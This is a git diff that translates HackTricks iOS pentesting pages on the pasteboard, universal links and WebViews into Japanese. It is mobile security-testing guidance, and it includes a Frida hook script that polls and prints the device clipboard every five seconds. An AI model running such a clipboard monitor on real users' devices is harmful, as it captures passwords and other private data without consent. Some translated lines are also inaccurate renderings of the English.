monitor`: - -> Hooks into the iOS UIPasteboard class and polls the generalPasteboard every 5 seconds for data. If new data is found, different from the previous poll, that data will be dumped to screen. - -You may also build your own pasteboard monitor that monitors specific information as seen above. - -For example, this script (inspired from the script behind [objection's pasteboard monitor](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) reads the pasteboard items every 5 seconds, if there's something new it will print it: +**ペーストボードを監視**する際には、以下の詳細情報を動的に**取得**できます: +* `pasteboardWithName:create:`をフックして入力パラメータを検査するか、`pasteboardWithUniqueName`をフックして返り値を検査することで、**ペーストボードの名前**を取得できます。 +* **最初に利用可能なペーストボードアイテム**を取得します。文字列の場合は`string`メソッドを使用します。または、[標準のデータ型](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275)の他のメソッドを使用します。 +* `numberOfItems`を使用して**アイテムの数**を確認します。 +* [便利なメソッド](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142)を使用して、標準のデータ型の**存在**を確認します。例えば、`hasImages`、`hasStrings`、`hasURLs`(iOS 10以降)などです。 +* [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes? +たとえば、このスクリプト([objectionのペーストボードモニターのスクリプト](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)に基づいています)は、5秒ごとにペーストボードのアイテムを読み取り、新しいものがあればそれを表示します。 ```javascript const UIPasteboard = ObjC.classes.UIPasteboard; - const Pasteboard = UIPasteboard.generalPasteboard(); - var items = ""; - var count = Pasteboard.changeCount().toString(); +const Pasteboard = UIPasteboard.generalPasteboard(); +var items = ""; +var count = Pasteboard.changeCount().toString(); setInterval(function () { - const currentCount = Pasteboard.changeCount().toString(); - const currentItems = Pasteboard.items().toString(); +const currentCount = Pasteboard.changeCount().toString(); +const currentItems = Pasteboard.items().toString(); - if (currentCount === count) { return; } +if (currentCount === count) { return; } - items = currentItems; - count = currentCount; +items = currentItems; +count = currentCount; - console.log('[* Pasteboard changed] count: ' + count + - ' hasStrings: ' + Pasteboard.hasStrings().toString() + - ' hasURLs: ' + Pasteboard.hasURLs().toString() + - ' hasImages: ' + Pasteboard.hasImages().toString()); - console.log(items); +console.log('[* Pasteboard changed] count: ' + count + +' hasStrings: ' + Pasteboard.hasStrings().toString() + +' hasURLs: ' + Pasteboard.hasURLs().toString() + +' hasImages: ' + Pasteboard.hasImages().toString()); +console.log(items); - }, 1000 * 5); +}, 1000 * 5); ``` - -# References +# 参考文献 {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} @@ -100,16 +88,14 @@ setInterval(function () { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/mobile-pentesting/ios-pentesting/ios-universal-links.md b/mobile-pentesting/ios-pentesting/ios-universal-links.md index 840d9051b..41c8b9af6 100644 --- a/mobile-pentesting/ios-pentesting/ios-universal-links.md +++ b/mobile-pentesting/ios-pentesting/ios-universal-links.md @@ -1,112 +1,104 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-Universal links allows to **redirect users directly** to the app without passing through safari for redirection.\ -Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP(S) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**.\ -As these links uses HTTP(S) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**. +ユニバーサルリンクは、ユーザーをSafariを経由せずにアプリに直接リダイレクトすることができます。\ +ユニバーサルリンクは**一意**であり、他のアプリによって**クレームされることはありません**。これは、ウェブサイトとアプリが関連していることを確認するために、所有者がファイルをアップロードしたウェブサイトの**標準的なHTTP(S)リンク**を使用します。\ +これらのリンクはHTTP(S)スキームを使用しているため、**アプリがインストールされていない場合、Safariがリンクを開き**、ユーザーをページにリダイレクトします。これにより、**アプリがインストールされていなくてもアプリと通信することができます**。 -To create universal links it's needed to **create a JSON file called `apple-app-site-association` ** with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\ -For the pentester this file is very interesting as it **discloses paths**. It can even be disclosing paths of releases that haven't been published yet. +ユニバーサルリンクを作成するには、詳細を含むJSONファイルである`apple-app-site-association`というファイルを作成する必要があります。その後、このファイルを**ウェブサーバーのルートディレクトリにホストする必要があります**(例:[https://google.com/apple-app-site-association](https://google.com/apple-app-site-association))。\ +ペンテスターにとって、このファイルは非常に興味深いものです。それはまだ公開されていないリリースのパスを公開することさえあります。 -## ​**Checking the Associated Domains Entitlement** +## 関連ドメインの権限を確認する -n Xcode, go to the **Capabilities** tab and search for **Associated Domains**. You can also inspect the `.entitlements` file looking for `com.apple.developer.associated-domains`. Each of the domains must be prefixed with `applinks:`, such as `applinks:www.mywebsite.com`. - -Here's an example from Telegram's `.entitlements` file: +Xcodeで、**Capabilities**タブに移動し、**Associated Domains**を検索します。または、`.entitlements`ファイルを調べて`com.apple.developer.associated-domains`を探します。各ドメインは`applinks:`で始まる必要があります。例:`applinks:www.mywebsite.com`。 +Telegramの`.entitlements`ファイルの例です: ```markup - com.apple.developer.associated-domains - - applinks:telegram.me - applinks:t.me - +com.apple.developer.associated-domains + +applinks:telegram.me +applinks:t.me + ``` +詳細な情報は、[アーカイブされたApple Developerドキュメント](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple\_ref/doc/uid/TP40016308-CH12-SW2)で見つけることができます。 -More detailed information can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple\_ref/doc/uid/TP40016308-CH12-SW2). - -If you only has the compiled application you can extract the entitlements following this guide: +コンパイルされたアプリケーションしか持っていない場合は、次のガイドに従ってエンタイトルメントを抽出することができます: {% content-ref url="extracting-entitlements-from-compiled-application.md" %} [extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md) {% endcontent-ref %} -## R**etrieving the Apple App Site Association File** +## Apple App Site Associationファイルの取得 -Try to retrieve the `apple-app-site-association` file from the server using the associated domains you got from the previous step. This file needs to be accessible via HTTPS, without any redirects, at `https:///apple-app-site-association` or `https:///.well-known/apple-app-site-association`. +前のステップで取得した関連ドメインを使用して、サーバーから`apple-app-site-association`ファイルを取得してみてください。このファイルは、`https:///apple-app-site-association`または`https:///.well-known/apple-app-site-association`でHTTPS経由でアクセス可能である必要があります。 -You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/). +自分のブラウザで取得するか、[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)を使用することができます。 -## **Checking the Link Receiver Method** +## リンクレシーバーメソッドの確認 -In order to receive links and handle them appropriately, the app delegate has to implement [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). If you have the original project try searching for this method. +リンクを受け取り、適切に処理するためには、アプリデリゲートは[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)を実装する必要があります。元のプロジェクトがある場合は、このメソッドを検索してみてください。 -Please note that if the app uses [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) to open a universal link to the app's website, the link won't open in the app. As the call originates from the app, it won't be handled as a universal link. +なお、アプリが[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)を使用してアプリのウェブサイトへのユニバーサルリンクを開く場合、リンクはアプリ内で開かれません。呼び出し元がアプリから発生するため、ユニバーサルリンクとして処理されません。 -* The scheme of the `webpageURL` must be HTTP or HTTPS (any other scheme should throw an exception). The [`scheme` instance property](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) of `URLComponents` / `NSURLComponents` can be used to verify this. +* `webpageURL`のスキームはHTTPまたはHTTPSである必要があります(他のスキームは例外をスローするはずです)。`URLComponents` / `NSURLComponents`の[`scheme`インスタンスプロパティ](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme)を使用して、これを確認できます。 -## **Checking the Data Handler Method** - -When iOS opens an app as the result of a universal link, the app receives an `NSUserActivity` object with an `activityType` value of `NSUserActivityTypeBrowsingWeb`. The activity object’s `webpageURL` property contains the HTTP or HTTPS URL that the user accesses. The following example in Swift verifies exactly this before opening the URL: +## データハンドラーメソッドの確認 +iOSがユニバーサルリンクの結果としてアプリを開くと、アプリは`NSUserActivityTypeBrowsingWeb`という`activityType`値を持つ`NSUserActivity`オブジェクトを受け取ります。アクティビティオブジェクトの`webpageURL`プロパティには、ユーザーがアクセスするHTTPまたはHTTPSのURLが含まれています。以下のSwiftの例では、URLを開く前にこれを正確に検証しています: ```swift func application(_ application: UIApplication, continue userActivity: NSUserActivity, - restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool { - // ... - if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL { - application.open(url, options: [:], completionHandler: nil) - } +restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool { +// ... +if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL { +application.open(url, options: [:], completionHandler: nil) +} - return true +return true } ``` +さらに、URLにパラメータが含まれている場合は、信頼されたドメインからであっても、慎重にサニタイズおよび検証する必要があります。たとえば、それらは攻撃者によって改ざんされた可能性があるか、不正なデータが含まれている可能性があります。その場合、URL全体およびしたがってユニバーサルリンクのリクエスト全体を破棄する必要があります。 -In addition, remember that if the URL includes parameters, they should not be trusted before being carefully sanitized and validated (even when coming from trusted domain). For example, they might have been spoofed by an attacker or might include malformed data. If that is the case, the whole URL and therefore the universal link request must be discarded. - -The `NSURLComponents` API can be used to parse and manipulate the components of the URL. This can be also part of the method `application:continueUserActivity:restorationHandler:` itself or might occur on a separate method being called from it. The following [example](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstrates this: - +`NSURLComponents` APIは、URLのコンポーネントを解析および操作するために使用できます。これは、`application:continueUserActivity:restorationHandler:`メソッド自体の一部として行われる場合もありますし、それを呼び出す別のメソッドで行われる場合もあります。次の[例](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935)は、これを示しています。 ```swift func application(_ application: UIApplication, - continue userActivity: NSUserActivity, - restorationHandler: @escaping ([Any]?) -> Void) -> Bool { - guard userActivity.activityType == NSUserActivityTypeBrowsingWeb, - let incomingURL = userActivity.webpageURL, - let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true), - let path = components.path, - let params = components.queryItems else { - return false - } +continue userActivity: NSUserActivity, +restorationHandler: @escaping ([Any]?) -> Void) -> Bool { +guard userActivity.activityType == NSUserActivityTypeBrowsingWeb, +let incomingURL = userActivity.webpageURL, +let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true), +let path = components.path, +let params = components.queryItems else { +return false +} - if let albumName = params.first(where: { $0.name == "albumname" })?.value, - let photoIndex = params.first(where: { $0.name == "index" })?.value { - // Interact with album name and photo index +if let albumName = params.first(where: { $0.name == "albumname" })?.value, +let photoIndex = params.first(where: { $0.name == "index" })?.value { +// Interact with album name and photo index - return true +return true - } else { - // Handle when album and/or album name or photo index missing +} else { +// Handle when album and/or album name or photo index missing - return false - } +return false +} } ``` - -# References +# 参考文献 {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} @@ -116,16 +108,14 @@ func application(_ application: UIApplication, ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/mobile-pentesting/ios-pentesting/ios-webviews.md b/mobile-pentesting/ios-pentesting/ios-webviews.md index 29458890e..58cc17a7b 100644 --- a/mobile-pentesting/ios-pentesting/ios-webviews.md +++ b/mobile-pentesting/ios-pentesting/ios-webviews.md @@ -4,56 +4,80 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## WebViews types +## WebViewsの種類 -WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them. +WebViewsは、インタラクティブな**ウェブコンテンツ**を表示するためのアプリ内ブラウザコンポーネントです。これらはアプリのユーザーインターフェースに直接ウェブコンテンツを埋め込むために使用されます。iOSのWebViewsは、デフォルトで**JavaScriptの実行をサポート**しているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。 -* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**. -* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content. - * **JavaScript** is enabled by default but thanks to the **`javaScriptEnabled`** property of `WKWebView`, it **can be completely disabled**, preventing all script injection flaws. - * The **`JavaScriptCanOpenWindowsAutomatically`** can be used to **prevent** JavaScript from **opening new windows**, such as pop-ups. - * The **`hasOnlySecureContent`** property can be used to verify resources loaded by the WebView are retrieved through encrypted connections. - * `WKWebView` implements out-of-process rendering, so **memory corruption bugs won't affect** the main app process. -* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** It should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements: +* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** iOS 12以降では非推奨となり、使用すべきではありません。**JavaScriptを無効にすることはできません**。 - * A read-only address field with a security indicator. - * An Action ("**Share**") **button**. - * A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari. +* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): これはアプリの機能を拡張し、表示されるコンテンツを制御するための適切な選択肢です。 - +* **JavaScript**はデフォルトで有効ですが、`WKWebView`の`javaScriptEnabled`プロパティにより、すべてのスクリプト注入の脆弱性を完全に無効にすることができます。 - * **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface. - * `SFSafariViewController` also **shares cookies** and other website data with **Safari**. - * The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data. - * According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**. +* **`JavaScriptCanOpenWindowsAutomatically`**は、ポップアップなどの新しいウィンドウをJavaScriptが開くのを**防止**するために使用できます。 -## Discovering WebViews Configuration +* **`hasOnlySecureContent`**プロパティは、WebViewによって読み込まれるリソースが暗号化された接続を介して取得されていることを検証するために使用できます。 -### Static Analysis +* `WKWebView`はプロセス外レンダリングを実装しているため、メモリの破損バグはメインのアプリプロセスに影響を与えません。 + +* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** これは**一般的なウェブ閲覧体験**を提供するために使用するべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見つけることができます。 + +* セキュリティインジケータを持つ読み取り専用のアドレスフィールド。 + +* アクション(「**共有**」)**ボタン**。 + +* **完了ボタン**、戻ると進むのナビゲーションボタン、およびページを直接Safariで開く「Safari」ボタン。 + + + +* `SFSafariViewController`では**JavaScriptを無効にすることはできず**、これは`WKWebView`の使用が推奨される理由の1つです。 + +* `SFSafariViewController`はまた、**クッキー**や他のウェブサイトデータを**Safari**と共有します。 + +* ユーザーの`SFSafariViewController`でのアクティビティやインタラクションは、アプリからは**見えない**ため、AutoFillデータ、閲覧履歴、またはウェブサイトデータにアクセスすることはできません。 + +* App Storeのレビューガイドラインによれば、`SFSafariViewController`は**他のビューやレイヤーによって隠されたり覆われたりしてはなりません**。 + +## WebViewsの設定の発見 + +### 静的解析 **UIWebView** - ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView 896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView 1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView ``` - **WKWebView** +WKWebViewは、iOSアプリケーション内でWebコンテンツを表示するためのコンポーネントです。UIWebViewに比べて高速でパフォーマンスが向上しており、ネイティブアプリケーションと同様の機能を提供します。 + +WKWebViewは、iOS 8以降で利用可能であり、Safariと同じWebKitエンジンを使用しています。これにより、モバイルアプリケーション内でWebページを表示する際に、高速かつ安全なブラウジング体験を提供することができます。 + +WKWebViewは、以下のような特徴を持っています。 + +- JavaScriptの実行と通信のサポート +- カスタムスクリプトの実行 +- ページの読み込み状態の監視 +- ページのスクロールとズームのサポート +- ユーザーの操作に対するイベントの処理 +- クッキーの管理 +- セキュリティポリシーの適用 + +WKWebViewは、iOSアプリケーションのセキュリティに関する重要な要素でもあります。適切なセキュリティ設定を行わないと、悪意のある攻撃者によってアプリケーションの情報が漏洩する可能性があります。したがって、iOSアプリケーションのペネトレーションテストにおいては、WKWebViewのセキュリティ設定を確認することが重要です。 ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView @@ -61,9 +85,7 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` - -Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): - +代わりに、これらのWebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init))を検索してください。 ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC @@ -71,88 +93,80 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` +#### JavaScriptの設定のテスト -#### Testing JavaScript Configuration - -For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`: - +`WKWebView`においては、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にする必要があります。JavaScriptが適切に無効化されているかを確認するために、`WKPreferences`の使用箇所をプロジェクト内で検索し、[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)プロパティが`false`に設定されていることを確認してください。 ``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` - -If only having the compiled binary you can search for this in it: - +もしコンパイルされたバイナリしか持っていない場合、それを検索することができます。 ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` +#### OnlySecureContentのテスト -#### Testing OnlySecureContent - -In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\ -In the compiled binary: - +`UIWebView`とは異なり、`WKWebView`を使用すると、[ミックスコンテンツ](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)(HTTPSページから読み込まれたHTTPコンテンツ)を検出することができます。[`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent)メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を介して読み込まれたかどうかを確認することができます。\ +コンパイルされたバイナリでは、 ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` +ソースコードや文字列内で "http://" という文字列を検索することもできます。ただし、これは必ずしもミックスコンテンツの問題があることを意味するわけではありません。ミックスコンテンツについて詳しくは、[MDN Web 